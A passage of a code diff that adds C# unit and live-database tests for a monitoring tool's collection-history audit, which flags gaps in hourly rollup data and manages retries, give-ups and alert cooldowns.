+        /* H1 of the #5461 review: the audit slot is 03:00Z, after the heaviest rollup (01:15) and the corrected
+           rollup (02:0X) have both materialized the audited day's last hour. */
+        var early = new Process(new MemoryStampStore(), new DateTime(2026, 10, 11, 2, 59, 0, DateTimeKind.Utc));
+        Assert.False(await DueAsync(early, Week()));
+        early.Now = new DateTime(2026, 10, 11, 3, 0, 0, DateTimeKind.Utc);
+        Assert.True(await DueAsync(early, Week()));
+
+        var off = new Process(new MemoryStampStore(), FirstPass);
+        off.Settings.AlertsEnabled = false;
+        Assert.False(await DueAsync(off, Week()));
+    }
+
+    [Theory]
+    [InlineData(3, 0)]
+    [InlineData(3, 59)]
+    [InlineData(14, 20)]
+    [InlineData(23, 59)]
+    public async Task AHoleInTheLastHour_IsJudged_AtEveryTick_OnceTheBucketAfterItExists(int hour, int minute)
+    {
+        /* L1 of the #5461 review: a hole at 23:00 with a bucket after it, whenever the tick falls from 03:00Z on. The
+           01:30Z rule it replaced did judge hour 23 at every one of these ticks, so this guards the 03:00Z slot and
+           the always-judged hour together, not that rule. The midnight test below is the one that was red before. */
+        var p = new Process(new MemoryStampStore(), new DateTime(2026, 10, 11, hour, minute, 0, DateTimeKind.Utc));
+        var holeAt23 = WithAuditDay(Week(), h => h == 23 ? null : Usual(h));
+        holeAt23.Add(new HourBucket(AuditDay.AddDays(1), 40, Usual(0).Passes));
+
+        await p.RunAsync(holeAt23, holeAt23);
+
+        var fired = Assert.Single(p.Deliverer.Outcomes);
+        Assert.Contains("query_stats_interval_hourly: 23:00-24:00Z", fired.DetailText, StringComparison.Ordinal);
+        Assert.Contains("23:00-24:00Z", fired.DetailText, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public async Task ASourceThatIsNotReady_IsRetriedOnLaterTicks_AndNothingIsRaisedOrStampedUntilItIs()
+    {
+        var stamps = new MemoryStampStore();
+        var p = new Process(stamps, FirstPass);
+        var through22 = WithAuditDay(Week(), h => h <= 22 ? Usual(h) : null);
+        var settled = WithAuditDay(Week(), h => h is >= 18 and <= 20 ? null : Usual(h));
+        var reads = new Dictionary<string, int>();
+
+        /* Perfmon is ready and holey; the workload rollup has not materialized hour 23 yet. */
+        await p.RunWithAsync((r, from) => r.Relation == QueryStats.Relation ? through22 : settled, reads);
+        Assert.Empty(p.Deliverer.Outcomes);
+        Assert.Empty(stamps.Stamps);
+
+        /* A later tick re-reads ONLY the unready source; it is ready now, so the one alert goes out, naming no
+           unread source, and the day is stamped. */
+        p.Now = FirstPass.AddHours(1);
+        await p.RunWithAsync((r, from) => settled, reads);
+        Assert.Equal(2, reads[QueryStats.Relation]);
+        Assert.Equal(1, reads[Perfmon.Relation]);
+        var fired = Assert.Single(p.Deliverer.Outcomes);
+        Assert.DoesNotContain("Not read", fired.DetailText, StringComparison.Ordinal);
+        Assert.Contains("perfmon_interval_baseline: 18:00-21:00Z", fired.DetailText, StringComparison.Ordinal);
+        Assert.Equal(new DateTime(2026, 10, 11, 3, 0, 0, DateTimeKind.Utc), stamps.Stamps["history_audit_slot"]);
+    }
+
+    [Fact]
+    public async Task ASourceThatNeverBecomesReadable_IsGivenUpOnAtTheNextSlot_WithOneWarning_AndTheAlertNamesIt()
+    {
+        var stamps = new MemoryStampStore();
+        var p = new Process(stamps, FirstPass);
+        var holey = WithAuditDay(Week(), h => h is >= 18 and <= 20 ? null : Usual(h));
+        var day10 = AuditDay.AddDays(-7);
+
+        /* The workload rollup times out on every tick; perfmon reads. Held, not raised, until the slot after. */
+        IReadOnlyList<HourBucket>? Reader(Rollup r, DateTime from)
+        {
+            if (from != day10 || r.Relation == QueryStats.Relation)
+            {
+                throw new TimeoutException("statement timeout");
+            }
+
+            return holey;
+        }
+
+        foreach (var tick in new[] { FirstPass, FirstPass.AddHours(8), FirstPass.AddHours(22), new DateTime(2026, 10, 12, 2, 59, 0, DateTimeKind.Utc) })
+        {
+            p.Now = tick;
+            await p.RunWithAsync(Reader);
+            Assert.Empty(p.Deliverer.Outcomes);
+            Assert.Empty(stamps.Stamps);
+        }
+
+        /* 03:00Z the next day: give up on the unread source, one warning naming it, and raise what was read. */
+        p.Now = new DateTime(2026, 10, 12, 3, 0, 0, DateTimeKind.Utc);
+        await p.RunWithAsync(Reader);
+
+        var fired = Assert.Single(p.Deliverer.Outcomes);
+        Assert.Contains("2026-10-10", fired.DetailText, StringComparison.Ordinal);
+        Assert.Contains("perfmon_interval_baseline: 18:00-21:00Z", fired.DetailText, StringComparison.Ordinal);
+        Assert.Contains("Not read for this day: query_stats_interval_hourly", fired.DetailText, StringComparison.Ordinal);
+        Assert.Single(p.Log.Entries, e => e.Message.Contains("gave up on collect.query_stats_interval_hourly", StringComparison.Ordinal));
+    }
+
+    /// <summary>A run whose reader serves each source from its own list, cut at the bounds the evaluator passes, as the
+    /// real read is: a bucket outside [from, to) is not seen.</summary>
+    private static Task RunBoundedAsync(Process p, Func<Rollup, IReadOnlyList<HourBucket>?> source, params Rollup[] rollups) =>
+        p.Evaluator.ApplyCollectionHistoryAuditAsync(
+            (rollup, from, to, token) =>
+            {
+                var all = source(rollup);
+                return Task.FromResult<IReadOnlyList<HourBucket>?>(
+                    all?.Where(b => b.HourUtc >= from && b.HourUtc < to).ToList());
+            },
+            rollups.Length == 0 ? new[] { QueryStats, Perfmon } : rollups, Ct);
+
+    [Fact]
+    public async Task AnOutageFrom2230To0130_IsRaisedOnceCollectionResumes_NotAfterTheGiveUp()
+    {
+        /* H1 of the #5461 round 2 review. No row in any source from 23:00Z to 01:00Z; rows again at 01:00Z. With the
+           read fixed at 01:00Z no bucket after the hole was in it, so every source read "not ready" forever and the
+           day, hole and any unrelated thin hour included, was never judged. */
+        var stamps = new MemoryStampStore();
+        var p = new Process(stamps, FirstPass);
+        var days = WithAuditDay(Week(), h => h == 23 ? null : Usual(h));
+        days.Add(new HourBucket(AuditDay.AddDays(1).AddHours(1), 40, Usual(1).Passes));
+        days.Add(new HourBucket(AuditDay.AddDays(1).AddHours(2), 40, Usual(2).Passes));
+
+        await RunBoundedAsync(p, _ => days);
+
+        var fired = Assert.Single(p.Deliverer.Outcomes);
+        Assert.Contains("23:00-24:00Z", fired.DetailText, StringComparison.Ordinal);
+        Assert.DoesNotContain("Not read", fired.DetailText, StringComparison.Ordinal);
+        Assert.DoesNotContain("not complete", fired.DetailText, StringComparison.Ordinal);
+        Assert.Equal(1, fired.NumericCurrentValue);
+        Assert.Equal(new DateTime(2026, 10, 11, 3, 0, 0, DateTimeKind.Utc), stamps.Stamps["history_audit_slot"]);
+    }
+
+    [Fact]
+    public async Task ASourceThatNeverBecomesReady_KeepsItsFlaggedHours_AndTheGiveUpAlertMarksThemNotComplete()
+    {
+        /* H1 of the #5461 round 2 review: a rollup whose refresh stopped at 10:00Z. Perfmon is clean. Every read finds
+           the rollup not ready; its hole (hour 10 to 24, zero servers) must reach the alert at the give-up. */
+        var stamps = new MemoryStampStore();
+        var p = new Process(stamps, FirstPass);
+        var stopped = WithAuditDay(Week(), h => h <= 9 ? Usual(h) : null);
+        var clean = WithAuditDay(Week(), h => Usual(h));
+        IReadOnlyList<HourBucket>? Source(Rollup r) => r.Relation == QueryStats.Relation ? stopped : clean;
+
+        foreach (var tick in new[] { FirstPass, FirstPass.AddHours(8), new DateTime(2026, 10, 12, 2, 59, 0, DateTimeKind.Utc) })
+        {
+            p.Now = tick;
+            await RunBoundedAsync(p, Source);
+            Assert.Empty(p.Deliverer.Outcomes);
+            Assert.Empty(stamps.Stamps);
+        }
+
+        p.Now = new DateTime(2026, 10, 12, 3, 0, 0, DateTimeKind.Utc);
+        await RunBoundedAsync(p, Source);
+
+        var fired = Assert.Single(p.Deliverer.Outcomes);
+        Assert.Contains("query_stats_interval_hourly: 10:00-24:00Z (servers as low as 0 vs usual 40) [not complete", fired.DetailText, StringComparison.Ordinal);
+        Assert.Contains("Not read for this day: query_stats_interval_hourly", fired.DetailText, StringComparison.Ordinal);
+        Assert.Equal(14, fired.NumericCurrentValue);
+        Assert.Single(p.Log.Entries, e => e.Message.Contains("gave up on collect.query_stats_interval_hourly", StringComparison.Ordinal));
+    }
+
+    [Fact]
+    public async Task AGiveUpWithNoFlaggedHours_RaisesNothing_AndLogsTheWarning()
+    {
+        var p = new Process(new MemoryStampStore(), FirstPass);
+        var clean = WithAuditDay(Week(), h => Usual(h));
+
+        p.Now = FirstPass;
+        await p.RunWithAsync((r, from) => r.Relation == QueryStats.Relation ? throw new TimeoutException("statement timeout") : clean);
+        p.Now = new DateTime(2026, 10, 12, 3, 0, 0, DateTimeKind.Utc);
+        await p.RunWithAsync((r, from) => r.Relation == QueryStats.Relation && from == AuditDay.AddDays(-7) ? throw new TimeoutException("statement timeout") : clean);
+
+        Assert.Empty(p.Deliverer.Outcomes);
+        Assert.Single(p.Log.Entries, e => e.Message.Contains("gave up on collect.query_stats_interval_hourly", StringComparison.Ordinal));
+    }
+
+    /// <summary>A logger that switches the master switch off when the give-up warning is written: the switch going off
+    /// between the apply's top check and the give-up's own send.</summary>
+    private sealed class SwitchOffOnGiveUpLogger : Microsoft.Extensions.Logging.ILogger
+    {
+        private readonly DarlingSelfAlertTests.FakeSettings _settings;
+        public List<string> Messages { get; } = new();
+
+        public SwitchOffOnGiveUpLogger(DarlingSelfAlertTests.FakeSettings settings) => _settings = settings;
+
+        public IDisposable? BeginScope<TState>(TState state) where TState : notnull => null;
+
+        public bool IsEnabled(Microsoft.Extensions.Logging.LogLevel logLevel) => true;
+
+        public void Log<TState>(
+            Microsoft.Extensions.Logging.LogLevel logLevel, Microsoft.Extensions.Logging.EventId eventId,
+            TState state, Exception? exception, Func<TState, Exception?, string> formatter)
+        {
+            var message = formatter(state, exception);
+            Messages.Add(message);
+            if (message.Contains("gave up on", StringComparison.Ordinal))
+            {
+                _settings.AlertsEnabled = false;
+            }
+        }
+    }
+
+    [Fact]
+    public async Task AGiveUpWithAlertsOff_LogsTheWarning_RaisesNothing_AndStillClearsTheHeldDay()
+    {
+        /* #3464 master-switch gate on the give-up's own send. The same never-ready source as above, so the give-up has
+           flagged hours to raise; the switch goes off as the give-up logs its warning. */
+        var settings = new DarlingSelfAlertTests.FakeSettings();
+        var deliverer = new DarlingSelfAlertTests.RecordingDeliverer();
+        var log = new SwitchOffOnGiveUpLogger(settings);
+        var now = FirstPass;
+        var evaluator = new DarlingSelfAlertEvaluator(
+            settings, deliverer, new NoHistoryStore(), _ => false,
+            logger: log, utcNow: () => now, readFailures: new AlertReadFailureCounter(), deliveryStamps: new MemoryStampStore());
+        var stopped = WithAuditDay(Week(), h => h <= 9 ? Usual(h) : null);
+        var clean = WithAuditDay(Week(), h => Usual(h));
+
+        Task Run() => evaluator.ApplyCollectionHistoryAuditAsync(
+            (rollup, from, to, token) =>
+            {
+                var all = rollup.Relation == QueryStats.Relation ? stopped : clean;
+                return Task.FromResult<IReadOnlyList<HourBucket>?>(all.Where(b => b.HourUtc >= from && b.HourUtc < to).ToList());
+            },
+            new[] { QueryStats, Perfmon }, Ct);
+
+        await Run();
+        now = new DateTime(2026, 10, 12, 3, 0, 0, DateTimeKind.Utc);
+        await Run();
+
+        Assert.Empty(deliverer.Outcomes);
+        Assert.Single(log.Messages, m => m.Contains("gave up on collect.query_stats_interval_hourly", StringComparison.Ordinal));
+
+        /* Switched back on, the day is not given up on a second time: the held state was cleared. */
+        settings.AlertsEnabled = true;
+        now = new DateTime(2026, 10, 12, 3, 30, 0, DateTimeKind.Utc);
+        await Run();
+
+        Assert.Single(log.Messages, m => m.Contains("gave up on", StringComparison.Ordinal));
+        Assert.DoesNotContain(deliverer.Outcomes, o => o.DetailText?.Contains("2026-10-10", StringComparison.Ordinal) == true);
+    }
+
+    /// <summary>A deliverer that applies the cooldown the way the real one does for a self-alert (no incidents): one
+    /// send per (server key, metric) pair, the repeat throttled. Throttled counts as delivered upstream, so a
+    /// throttled alert simply never reaches a channel.</summary>
+    private sealed class CooldownDeliverer : IAlertDeliverer
+    {
+        private readonly HashSet<string> _sent = new(StringComparer.Ordinal);
+        public List<AlertOutcome> Delivered { get; } = new();
+        public List<AlertOutcome> Throttled { get; } = new();
+
+        public Task DeliverAsync(AlertOutcome outcome, CancellationToken cancellationToken = default)
+        {
+            (_sent.Add(outcome.ServerKey + "|" + outcome.MetricName) ? Delivered : Throttled).Add(outcome);
+            return Task.CompletedTask;
+        }
+
+        public async Task<AlertDelivery?> DeliverAndReportAsync(AlertOutcome outcome, CancellationToken cancellationToken = default)
+        {
+            await DeliverAsync(outcome, cancellationToken);
+            return null;
+        }
+    }
+
+    [Fact]
+    public async Task TheGiveUpAlertForOneDay_AndTheNextDaysAudit_AreBothDelivered_InOneTick()
+    {
+        /* M1 of the #5461 round 2 review: at the first tick on or after D+2 03:00Z the give-up for D fires, then the
+           same call audits D+1. Under one delivery key the second was throttled by the cooldown and never reached a
+           channel; with the audit day in the key they are two incidents. */
+        var cooldown = new CooldownDeliverer();
+        var stamps = new MemoryStampStore();
+        var settings = new DarlingSelfAlertTests.FakeSettings();
+        var now = FirstPass;
+        var evaluator = new DarlingSelfAlertEvaluator(
+            settings, cooldown, new NoHistoryStore(), _ => false, utcNow: () => now, deliveryStamps: stamps);
+
+        var dayOne = WithAuditDay(Week(), h => h is >= 18 and <= 20 ? null : Usual(h));
+        var dayTwo = Week().Concat(Day(AuditDay, h => Usual(h))).Concat(Day(AuditDay.AddDays(1), h => h is >= 5 and <= 6 ? null : Usual(h))).ToList();
+        var firstDayFrom = AuditDay.AddDays(-7);
+
+        Task Run() => evaluator.ApplyCollectionHistoryAuditAsync(
+            (rollup, from, to, token) =>
+            {
+                if (from == firstDayFrom)
+                {
+                    /* Day D: the workload rollup keeps timing out; perfmon reads and is holey. */
+                    return rollup.Relation == QueryStats.Relation
+                        ? throw new TimeoutException("statement timeout")
+                        : Task.FromResult<IReadOnlyList<HourBucket>?>(dayOne);
+                }
+
+                return Task.FromResult<IReadOnlyList<HourBucket>?>(dayTwo);
+            },
+            new[] { QueryStats, Perfmon }, Ct);
+
+        await Run();
+        now = new DateTime(2026, 10, 12, 2, 59, 0, DateTimeKind.Utc);
+        await Run();
+        Assert.Empty(cooldown.Delivered);
+
+        now = new DateTime(2026, 10, 12, 3, 0, 0, DateTimeKind.Utc);
+        await Run();
+
+        Assert.Equal(2, cooldown.Delivered.Count);
+        Assert.Empty(cooldown.Throttled);
+        Assert.Contains("2026-10-10", cooldown.Delivered[0].DetailText, StringComparison.Ordinal);
+        Assert.Contains("Not read for this day: query_stats_interval_hourly", cooldown.Delivered[0].DetailText, StringComparison.Ordinal);
+        Assert.Contains("2026-10-11", cooldown.Delivered[1].DetailText, StringComparison.Ordinal);
+        Assert.NotEqual(cooldown.Delivered[0].ServerKey, cooldown.Delivered[1].ServerKey);
+        Assert.StartsWith("collectionhistoryaudit:2026-10-1", cooldown.Delivered[0].ServerKey, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public async Task TheAlertText_SaysAPerfmonScheduleChangeCanTriggerItForAFewDays()
+    {
+        var p = new Process(new MemoryStampStore(), FirstPass.AddHours(1));
+        var holey = WithAuditDay(Week(), h => h is >= 18 and <= 20 ? null : Usual(h));
+        await p.RunAsync(holey, holey);
+
+        var fired = Assert.Single(p.Deliverer.Outcomes);
+        Assert.Contains("A change to the perfmon collection schedule", fired.DetailText, StringComparison.Ordinal);
+        Assert.Contains("for a few days", fired.DetailText, StringComparison.Ordinal);
+        Assert.Equal(3, fired.NumericCurrentValue);
+    }
+
+    [Fact]
+    public async Task AFailedRead_IsRetriedAlone_WarnsOnEachFailure_AndTheAlertIsRaisedOnceEverySourceIsRead()
+    {
+        var p = new Process(new MemoryStampStore(), FirstPass.AddHours(1));
+        var holey = WithAuditDay(Week(), h => h == 12 ? null : Usual(h));
+        var reads = new Dictionary<string, int>();
+
+        await p.RunWithAsync((r, from) => r.Relation == QueryStats.Relation
+            ? throw new TimeoutException("statement timeout")
+            : holey, reads);
+        Assert.Empty(p.Deliverer.Outcomes);
+        Assert.Single(p.Log.Entries, e => e.Message.Contains("could not read", StringComparison.Ordinal));
+        Assert.Equal(1L, p.ReadFailures.ReadInstance().ReadFailures);
+
+        p.Now = p.Now.AddHours(1);
+        await p.RunWithAsync((r, from) => holey, reads);
+        Assert.Equal(1, reads[Perfmon.Relation]);
+        Assert.Equal(2, reads[QueryStats.Relation]);
+        var fired = Assert.Single(p.Deliverer.Outcomes);
+        Assert.StartsWith("Retained history for 2026-10-10", fired.DetailText, StringComparison.Ordinal);
+        Assert.Contains("12:00-13:00Z", fired.DetailText, StringComparison.Ordinal);
+        Assert.DoesNotContain("Not read", fired.DetailText, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public async Task EveryReadFailing_SpendsNothing_SoTheNextTickAsksAgain()
+    {
+        var stamps = new MemoryStampStore();
+        var p = new Process(stamps, FirstPass);
+        await p.Evaluator.ApplyCollectionHistoryAuditAsync(
+            (rollup, from, to, token) => throw new TimeoutException("down"),
+            new[] { QueryStats, Perfmon }, Ct);
+        Assert.Empty(p.Deliverer.Outcomes);
+        Assert.Empty(stamps.Stamps);
+
+        p.Now = FirstPass.AddHours(1);
+        var holey = WithAuditDay(Week(), h => h == 4 ? null : Usual(h));
+        await p.RunAsync(holey, holey);
+        Assert.Single(p.Deliverer.Outcomes);
+    }
+
+    [Fact]
+    public async Task AnAbsentSource_AndANewStore_AreQuiet_NotAnAlertOrAWarning()
+    {
+        var p = new Process(new MemoryStampStore(), FirstPass.AddHours(1));
+        /* Perfmon is absent (null); query stats has two prior days only. */
+        await p.RunAsync(WithAuditDay(Week(priorDays: 2), h => null), null);
+        Assert.Empty(p.Deliverer.Outcomes);
+        Assert.Empty(p.Log.Entries);
+
+        /* Both done, so the day is spent. */
+        var reads = p.Reads;
+        p.Now = p.Now.AddHours(1);
+        await p.RunAsync(WithAuditDay(Week(priorDays: 2), h => null), null);
+        Assert.Equal(reads, p.Reads);
+    }
+
+    [Fact]
+    public async Task AFirstPassAtFourteenHundred_StillAnchorsTheNextAuditOnThreeOClock()
+    {
+        var stamps = new MemoryStampStore();
+        var afternoon = new DateTime(2026, 10, 11, 14, 20, 0, DateTimeKind.Utc);
+        var p = new Process(stamps, afternoon);
+        await p.RunAsync(WithAuditDay(Week(), h => Usual(h)), null);
+        Assert.Equal(new DateTime(2026, 10, 11, 3, 0, 0, DateTimeKind.Utc), stamps.Stamps["history_audit_slot"]);
+    }
+
+    /* ---------------- live: seeded sources, through the real read ---------------- */
+
+    private static string? Env() => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    private static async Task ExecAsync(NpgsqlConnection connection, string sql)
+    {
+        await using var command = new NpgsqlCommand(sql, connection);
+        await command.ExecuteNonQueryAsync(Ct);
+    }
+
+    /// <summary>
+    /// Seeds 22 days from 2026-09-26 in the shape of the real sources. Servers 1-12 are enabled and 13-14 are
+    /// disabled but still have rows (M1: they must not count). <c>audit_hourly</c> is a workload rollup (servers
+    /// only: several query rows per server and hour); <c>audit_passes</c> is the perfmon baseline's shape (a row per
+    /// server per collection pass, four a hour). Days: 2026-10-10 has a 3-hour hole at 18-20Z in both;
+    /// 2026-10-14 has passes at 25% from 5-7Z with every server present; 2026-10-17 is weekend-shaped, one third of
+    /// the queries with every server and every pass present.
+    /// </summary>
+    private static async Task SeedAsync(NpgsqlConnection connection)
+    {
+        await ExecAsync(connection, @"
+CREATE SCHEMA IF NOT EXISTS collect;
+CREATE SCHEMA IF NOT EXISTS config;
+CREATE TABLE config.config_monitored_servers (server_id integer PRIMARY KEY, is_enabled boolean NOT NULL);
+INSERT INTO config.config_monitored_servers SELECT s, s <= 12 FROM generate_series(1, 14) AS s;
+CREATE TABLE collect.audit_hourly (bucket timestamp NOT NULL, server_id integer NOT NULL, query_key integer NOT NULL);
+CREATE TABLE collect.audit_passes (bucket timestamp NOT NULL, server_id integer NOT NULL, collection_time timestamp NOT NULL);");
+
+        await ExecAsync(connection, @"
+INSERT INTO collect.audit_hourly (bucket, server_id, query_key)
+SELECT b, s, q
+FROM generate_series(TIMESTAMP '2026-09-26', TIMESTAMP '2026-10-17 23:00', INTERVAL '1 hour') AS b
+CROSS JOIN generate_series(1, 14) AS s
+CROSS JOIN generate_series(1, 3) AS q
+WHERE NOT (b::date = DATE '2026-10-10' AND extract(hour FROM b) BETWEEN 18 AND 20)
+AND   NOT (b::date = DATE '2026-10-17' AND q > 1);
+
+INSERT INTO collect.audit_passes (bucket, server_id, collection_time)
+SELECT b, s, b + p * INTERVAL '15 minutes'
+FROM generate_series(TIMESTAMP '2026-09-26', TIMESTAMP '2026-10-17 23:00', INTERVAL '1 hour') AS b
+CROSS JOIN generate_series(1, 14) AS s
+CROSS JOIN generate_series(0, 3) AS p
+WHERE NOT (b::date = DATE '2026-10-10' AND extract(hour FROM b) BETWEEN 18 AND 20)
+AND   NOT (b::date = DATE '2026-10-14' AND extract(hour FROM b) BETWEEN 5 AND 7 AND p > 0);");
+    }
+
+    [Fact]
+    public async Task Live_SeededSources_FlagTheHoleAndTheThinPasses_AndStayQuietOnANormalDayAndAWeekend()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(Env()), "Set DARLING_TEST_PG to run the #5450 live tests.");
+        var ok = false;
+        var scratch = await ScratchPostgres.CreateAsync(Env()!, Ct);
+        try
+        {
+            await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+            await connection.OpenAsync(Ct);
+            await SeedAsync(connection);
+            await using var source = NpgsqlDataSource.Create(scratch.ConnectionString);
+            var queries = new Rollup("collect.audit_hourly", false);
+            var passes = new Rollup("collect.audit_passes", true);
+
+            async Task<IReadOnlyList<CollectionHistoryAudit.FlaggedRange>?> AuditAsync(Rollup rollup, DateTime day)
+            {
+                var buckets = await CollectionHistoryAudit.ReadAsync(
+                    source, rollup, CollectionHistoryAudit.ReadFrom(day), CollectionHistoryAudit.ReadTo(day), Ct);
+                Assert.NotNull(buckets);
+                Assert.True(CollectionHistoryAudit.IsSettled(day, buckets!));
+                return CollectionHistoryAudit.Analyze(day, buckets!);
+            }
+
+            DateTime Utc(int month, int day) => new(2026, month, day, 0, 0, 0, DateTimeKind.Utc);
+
+            /* The hole, in both sources. Usual counts only the 12 enabled servers, not the 14 with rows (M1), and
+               usual passes are 12 servers x 4 passes. */
+            var hole = Assert.Single((await AuditAsync(queries, Utc(10, 10)))!);
+            Assert.Equal("18:00-21:00Z", CollectionHistoryAudit.RangeLabel(hole));
+            Assert.Equal(12, hole.UsualServers);
+            Assert.Equal(0, hole.LowestServers);
+            var passHole = Assert.Single((await AuditAsync(passes, Utc(10, 10)))!);
+            Assert.Equal("18:00-21:00Z", CollectionHistoryAudit.RangeLabel(passHole));
+            Assert.Equal(12, passHole.UsualServers);
+            Assert.Equal(48, passHole.UsualPasses);
+
+            /* A normal day on both sides is quiet, in both sources. */
+            foreach (var day in new[] { Utc(10, 9), Utc(10, 16) })
+            {
+                Assert.Empty((await AuditAsync(queries, day))!);
+                Assert.Empty((await AuditAsync(passes, day))!);
+            }
+
+            /* Case 2: every server present, passes at a quarter. The workload rollup (servers only) cannot see it;
+               the pass count can. */
+            var thin = Assert.Single((await AuditAsync(passes, Utc(10, 14)))!);
+            Assert.Equal("05:00-08:00Z", CollectionHistoryAudit.RangeLabel(thin));
+            Assert.Equal(12, thin.LowestServers);
+            Assert.Equal(12, thin.LowestPasses);
+            Assert.Equal(48, thin.UsualPasses);
+            Assert.Empty((await AuditAsync(queries, Utc(10, 14)))!);
+
+            /* H2: a weekend-shaped day, a third of the queries but every server and every pass, flags nothing. */
+            Assert.Empty((await AuditAsync(queries, Utc(10, 17)))!);
+            Assert.Empty((await AuditAsync(passes, Utc(10, 17)))!);
+
+            /* M1: a server disabled now is out of both the audited day and usual. Disabling 6 of 12 servers flags
+               nothing, where counting them on prior days only would have flagged every hour. */
+            await ExecAsync(connection, "UPDATE config.config_monitored_servers SET is_enabled = false WHERE server_id BETWEEN 7 AND 12;");
+            Assert.Empty((await AuditAsync(queries, Utc(10, 16)))!);
+            Assert.Empty((await AuditAsync(passes, Utc(10, 16)))!);
+            await ExecAsync(connection, "UPDATE config.config_monitored_servers SET is_enabled = true WHERE server_id BETWEEN 7 AND 12;");
+
+            /* The same sources through the evaluator and the real read: one alert for the thin day, none for a
+               restart, none for the weekend-shaped day. */
+            async Task RunAsync(Process process) => await process.Evaluator.ApplyCollectionHistoryAuditAsync(
+                (r, from, to, token) => CollectionHistoryAudit.ReadAsync(source, r, from, to, token),
+                new[] { queries, passes, new Rollup("collect.history_audit_absent_hourly", false) }, Ct);
+
+            var stamps = new MemoryStampStore();
+            var run = new Process(stamps, new DateTime(2026, 10, 15, 3, 0, 0, DateTimeKind.Utc));
+            await RunAsync(run);
+            var fired = Assert.Single(run.Deliverer.Outcomes);
+            Assert.Contains("audit_passes: 05:00-08:00Z", fired.DetailText, StringComparison.Ordinal);
+            Assert.DoesNotContain("audit_hourly", fired.DetailText, StringComparison.Ordinal);
+            Assert.DoesNotContain("absent", fired.DetailText, StringComparison.Ordinal);
+
+            var restarted = new Process(stamps, new DateTime(2026, 10, 15, 9, 0, 0, DateTimeKind.Utc));
+            await RunAsync(restarted);
+            Assert.Empty(restarted.Deliverer.Outcomes);
+
+            var weekend = new Process(new MemoryStampStore(), new DateTime(2026, 10, 18, 3, 0, 0, DateTimeKind.Utc));
+            await RunAsync(weekend);
+            Assert.Empty(weekend.Deliverer.Outcomes);
+
+            ok = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunOwnedAsync(ok, async () => await scratch.DisposeAsync());
+        }
+    }
+
+    [Fact]
+    public async Task Live_TheRealSourceList_ReadsNullOnAPlainStore_AndIsReadableOnTheAggregates()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(Env()), "Set DARLING_TEST_PG to run the #5450 live tests.");
+        var ok = false;
+        var scratch = await ScratchPostgres.CreateAsync(Env()!, Ct);
+        try
+        {
+            await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+            await connection.OpenAsync(Ct);
+            await PgMigrations.MigrateAsync(connection, Ct);
+            await using var source = NpgsqlDataSource.Create(scratch.ConnectionString);
+
+            /* A plain store has none of the aggregates: every real source reads null, and the audit does nothing. */
+            foreach (var rollup in CollectionHistoryAudit.Rollups)
+            {
+                Assert.Null(await CollectionHistoryAudit.ReadAsync(
+                    source, rollup, CollectionHistoryAudit.ReadFrom(AuditDay), CollectionHistoryAudit.ReadTo(AuditDay), Ct));
+            }
+
+            /* The TimescaleDB shape: build the real aggregates (empty), and the statement is valid against each. */
+            Assert.True(await TimescaleSupport.TryEnableAsync(connection, null, Ct), "TimescaleDB must be enabled on the test cluster");
+            await TimescaleSupport.ConvertToHypertablesAsync(connection, null, Ct);
+            foreach (var (createSql, _) in TimescaleSupport.HourlyAggregates)
+            {
+                await ExecAsync(connection, createSql);
+            }
+
+            await ExecAsync(connection, TimescaleSupport.CreatePerfmonIntervalBaselineSql);
+
+            foreach (var rollup in CollectionHistoryAudit.Rollups)
+            {
+                var buckets = await CollectionHistoryAudit.ReadAsync(
+                    source, rollup, CollectionHistoryAudit.ReadFrom(AuditDay), CollectionHistoryAudit.ReadTo(AuditDay), Ct);
+                Assert.NotNull(buckets);
+                Assert.Empty(buckets!);
+            }
+
+            ok = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunOwnedAsync(ok, async () => await scratch.DisposeAsync());
+        }
+    }
+
+    /* ---------------- live: the #5461 probe read against the real Query Store rollups ---------------- */
+
+    private static readonly DateTime ProbeFrom = new(2026, 3, 4, 0, 0, 0, DateTimeKind.Utc);
+
+    /// <summary>
+    /// Builds the real store, strips the refresh policies (a background run must not race the manual refreshes),
+    /// and seeds <c>collect.query_store_stats</c> from 2026-03-04 00:00Z. Servers 101-103 are enabled, 104 is
+    /// disabled. Hours: 0 = all four servers (3 enabled), 1 = server 101 with 50 rows, 2 = nobody, 3 = servers 102
+    /// and 103, 4 = only the disabled 104, 5 = all four, 6 = server 101 (outside the window the tests read). Then
+    /// the three Query Store hourlies are materialized, in dependency order.
+    /// </summary>
+    private static async Task SeedProbeStoreAsync(NpgsqlConnection connection)
+    {
+        await PgMigrations.MigrateAsync(connection, Ct);
+        Assert.True(await TimescaleSupport.TryEnableAsync(connection, null, Ct), "TimescaleDB must be enabled on the test cluster");
+        await TimescaleSupport.ConvertToHypertablesAsync(connection, null, Ct);
+        await TimescaleSupport.EnsureContinuousAggregatesAsync(connection, null, Ct);
+        foreach (var (view, _, _, _, _) in TimescaleSupport.RollupViews)
+        {
+            await ExecAsync(connection, $"SELECT remove_continuous_aggregate_policy('collect.{view}', if_exists => true)");
+        }
+
+        await ExecAsync(connection, @"
+INSERT INTO config.config_monitored_servers (server_id, name, host, is_enabled) VALUES
+    (101, 'probe-101', 'h', true), (102, 'probe-102', 'h', true), (103, 'probe-103', 'h', true), (104, 'probe-104', 'h', false);
+
+CREATE TEMP TABLE probe_spec (server_id integer, hr integer, n integer);
+INSERT INTO probe_spec VALUES
+    (101, 0, 1), (102, 0, 1), (103, 0, 1), (104, 0, 1),
+    (101, 1, 50),
+    (102, 3, 1), (103, 3, 2),
+    (104, 4, 3),
+    (101, 5, 1), (102, 5, 1), (103, 5, 1), (104, 5, 1),
+    (101, 6, 1);
+
+INSERT INTO collect.query_store_stats (collection_id, collection_time, server_id, server_name, database_name, query_id, plan_id,
+    execution_type_desc, first_execution_time, module_name, query_hash, execution_count, avg_duration_us, avg_cpu_time_us,
+    max_duration_us, max_cpu_time_us, replica_role, runtime_stats_interval_id, interval_start_time_utc)
+SELECT 1, TIMESTAMP '2026-03-04 00:00' + (s.hr * interval '1 hour') + ((i % 6) * interval '10 minutes'),
